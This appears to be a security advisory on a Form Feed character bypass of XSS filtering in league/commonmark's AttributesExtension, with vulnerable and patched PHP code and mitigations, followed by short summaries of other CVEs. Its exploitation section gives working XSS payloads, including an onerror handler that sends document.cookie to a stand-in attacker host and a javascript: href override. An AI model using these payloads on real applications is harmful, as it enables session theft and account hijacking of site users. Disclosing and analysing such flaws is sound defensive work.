Sep 2, 2026·7 min read·10 visits
A validation mismatch between PHP's regex matching and native trimming permits the Form Feed character (\x0C) to survive attribute parsing. Browsers treat this character as whitespace, translating bypassed attributes into executable javascript handlers.
An inconsistency in whitespace handling between the PCRE regex engine, PHP's native trim function, and web browsers allows unauthenticated attackers to bypass XSS protections in the league/commonmark AttributesExtension by injecting a Form Feed (U+000C) control character.
The league/commonmark library is a widely utilized PHP package designed to parse Markdown specifications into safe HTML. It exposes an optional AttributesExtension that allows content authors to append attributes, such as classes, identifiers, and custom values, directly to Markdown elements using curly-brace expressions. When accepting input from untrusted sources, security teams rely on internal sanitization logic in this extension to block malicious event handlers and unsafe URI schemes.
A significant security gap exists within the filter validation of the AttributesExtension. A remote attacker can construct a payload containing a leading control byte, specifically the Form Feed character (U+000C), prefixing an attribute name. Due to an validation inconsistency, the malicious attribute bypasses the XSS defense layer, is serialized into the raw HTML, and is executed by downstream browsers.
The vulnerability affects all deployments running versions 2.7.0 up to 2.9.0 where the AttributesExtension is active and handles user-controlled Markdown input. Applications processing comments, profile information, or user documents are directly vulnerable to persistent Cross-Site Scripting (XSS).
The core flaw lies in a structural parser differential involving the PHP PCRE regular expression engine, PHP's native string manipulation functions, and HTML5 browser tokenizer specifications. The extraction of custom attributes utilizes a regular expression defined by the pattern SINGLE_ATTRIBUTE in AttributesHelper.php. Because this pattern relies on the PCRE character class shorthand \s, it successfully matches the Form Feed control character (\x0C or \f).
After matching, the package parses the attribute using PHP's native trim() function to clean white spaces. When called without a custom character mask, the trim() function removes standard whitespace such as carriage returns, new lines, horizontal tabs, vertical tabs, and spaces. However, the default mask of the trim() function does not match the Form Feed character. Consequently, the leading byte is left attached to the attribute name.
The sanitization blocklist within the helper checks the extracted attribute names using simple string operations like str_starts_with($name, 'on'). Since the parsed attribute name is evaluated as \x0Conclick instead of onclick, the prefix check evaluates to false. The sanitizer permits the attribute, which is eventually serialized into raw output as <p \x0Conclick="alert(1)">. Modern web browsers treat the Form Feed control character as empty whitespace separation, interpreting the string as a functional onclick event handler.
The parser logic prior to version 2.9.1 processed the attribute matches inside a standard while loop within AttributesHelper::parseAttributes(). Below is the vulnerable code segment showing the direct call to the unmasked trim() function:
// Vulnerable implementation in AttributesHelper.php
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {
// ... Match parsing and extraction logic ...
if (\strtolower(\trim($name)) === 'class') {
foreach (\array_filter(\explode(' ', \trim($value))) as $class) {
$attributes['class'][] = $class;
}
} else {
$attributes[\trim($name)] = \trim($value); // Vulnerable: \trim() leaves \x0C attached to the name key
}
}The patched implementation resolves the parsing mismatch by introducing a custom WHITESPACE character mask constant that explicitly includes the Form Feed character (\x0C). In addition, the patch adds a strict verification layer verifying that the attribute name is a syntactically valid structure before allowing downstream processing:
// Patched implementation (Commit: dfcdf4554c16aa37c15e3a5ee3243ee26147c239)
private const WHITESPACE = " \t\n\r\0\x0B\x0C"; // Form Feed (\x0C) is now included in the custom trim mask
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'), self::WHITESPACE)) {
// ...
if (\strtolower(\trim($name, self::WHITESPACE)) === 'class') {
foreach (\array_filter(\explode(' ', \trim($value, self::WHITESPACE))) as $class) {
$attributes['class'][] = $class;
}
} else {
$attributes[\trim($name, self::WHITESPACE)] = \trim($value, self::WHITESPACE); // Safe: Form Feed is stripped from keys and values
}
}The patch also introduces an active validation check within the filterAttributes() method using the package's existing PARTIAL_ATTRIBUTENAME regular expression. This defensive-in-depth addition ensures that even if other unrecognized non-printable characters survive the initial cleaning, any attribute whose name contains illegal characters is immediately dropped:
// Validation addition inside filterAttributes()
foreach ($attributes as $name => $value) {
if (\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', (string) $name) !== 1) {
unset($attributes[$name]); // Drops any attributes containing invalid name syntax
continue;
}
$attrNameLower = \strtolower((string) $name);
// ... Blocklist checks remain ...
}Exploiting this bypass requires that the target web application has enabled the AttributesExtension and outputs parsed HTML without additional context-aware sanitization layers. The attacker crafts Markdown inputs containing the literal Form Feed control character. Since the character is non-printable, it is represented as \x0C or \f in standard exploit payloads.
hello {onclick="alert(document.domain)"}This input renders as <p onclick="alert(document.domain)">hello</p>. When parsed by a browser, the Form Feed functions as an attribute delimiter, rendering the malicious script runnable on interaction. To perform an automated, zero-click attack, the adversary can utilize an image element combined with an onerror handler:
{onerror="fetch('http://malicious.example.com/steal?cookie='+document.cookie)"}Another variation targets links to execute the javascript: protocol. This bypasses typical URL filtering schemes since the injected attribute appears as href, preceding the safe URL generated by the markdown renderer:
[click](https://example.com){href="javascript:alert(1)"}Because the HTML5 standard specifies that the first encountered attribute of the same name overrides subsequent ones, the browser loads the javascript: link rather than the legitimate URL, executing arbitrary client-side code upon clicking.
The security impact of this parser bypass is classified as Cross-Site Scripting (XSS). If successfully exploited, an attacker can execute arbitrary JavaScript code within the context of the victim's browser session. Depending on the design of the hosting platform, this can lead to account hijacking, session theft, and unauthorized actions.
Because the payload is stored inside the target application's database and rendered to other users, it operates as a high-reliability Stored XSS vulnerability. This elevates the danger, as it does not rely on persuading a victim to click an external, suspicious link; standard navigation to a compromised page initiates the execution vector.
The CVSS v3.1 base score is assessed at 5.8 (Medium severity). While the technical exploit guarantees arbitrary execution on the client, the scope remains bounded within the browser's sandbox environment. However, if the web application hosts highly privileged management consoles, exploitation against administrators can compromise the entire underlying platform.
The absolute remediation step is upgrading the league/commonmark package to version 2.9.1 or later. This introduces the custom whitespace cleaning routines and strict regular expression checks that structurally eliminate the bypass vectors. Applications managed via Composer should update the dependencies using standard package manager commands.
composer update league/commonmarkIf upgrading immediately is not technically feasible, security teams can implement defensive workarounds via configuration. Specifying an explicit allowlist of attributes forces the parser to discard any attribute key not present on the whitelist, neutralizing the obfuscated inputs.
$environment = new Environment([
'attributes' => [
'allow' => ['id', 'class', 'style', 'align'] // Only safe attributes allowed
]
]);Additionally, intrusion detection systems (IDS) and Web Application Firewalls (WAF) can scan incoming request bodies for anomalous non-printable bytes within Markdown syntax. Detecting the Form Feed character (\x0C) nested inside curly brace configurations provides a reliable indicator of active exploitation attempts.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
league/commonmark thephpleague | >= 2.7.0, < 2.9.1 | 2.9.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 | 5.8 |
| Exploit Status | poc |
| EPSS Score | 0.01 |
| Impact | Stored / Reflected Cross-Site Scripting (XSS) |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.
CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.
A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.
CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.
An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.
An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.